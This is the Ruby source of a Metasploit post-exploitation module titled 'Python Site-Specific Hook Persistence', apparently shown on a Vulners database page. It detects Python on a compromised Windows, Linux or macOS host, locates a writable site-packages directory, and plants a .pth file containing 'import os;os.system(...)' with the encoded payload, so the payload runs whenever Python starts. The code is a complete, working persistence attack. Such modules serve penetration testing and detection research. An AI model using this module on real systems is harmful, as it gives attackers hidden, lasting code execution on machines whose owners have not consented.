Python Site-Specific Hook Persistence
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Python Site-Specific Hook Persistence',
'Description' => %q{
This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7', # msf module
],
'Platform' => ['linux', 'windows', 'osx'],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
[ 'URL', 'https://docs.python.org/3/library/site.html'],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS],
],
'DisclosureDate' => '2012-09-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
}
)
)
register_options([
OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']),
OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']])
])
end
def get_hooks_path
unless datastore['PYTHON_HOOK_PATH'].blank?
@hooks_path = datastore['PYTHON_HOOK_PATH']
return
end
case session.platform
when 'windows', 'win'
case datastore['EXECUTION_TARGET']
when 'USER'
@hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/")
when 'SYSTEM'
@hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"
end
when 'osx', 'linux'
case datastore['EXECUTION_TARGET']
when 'USER'
@hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
when 'SYSTEM'
@hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/"
end
end
end
def get_python_version
case session.platform
when 'windows', 'win'
cmd_exec('cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/
when 'osx', 'linux'
cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
end
@python_version = Regexp.last_match(1)
end
def check
get_python_version
return CheckCode::Safe('Python not present on the system') unless @python_version
CheckCode::Vulnerable('Python is present on the system')
end
def install_persistence
get_python_version unless @python_version
print_status("Detected Python version #{@python_version}")
get_hooks_path unless @hooks_path
mkdir(@hooks_path, cleanup: false) if session.platform == 'osx' || session.platform == 'linux'
fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)
# check if hooks path writable
begin
# windows only ps payloads have writable? so try that first
fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless writable?(@hooks_path)
rescue RuntimeError
filename = @hooks_path + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
write_file(filename, '')
fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless exists?(filename)
rm_f(filename)
end
print_status("Got path to site-specific hooks #{@hooks_path}")
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))
print_good("Successfully created malicious hook #{@hooks_path}#{file_name}.pth")
@clean_up_rc << "rm #{@hooks_path}#{file_name}.pth\n"
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Sep 2012 00:00Current
5.5Medium risk
Vulners AI Score5.5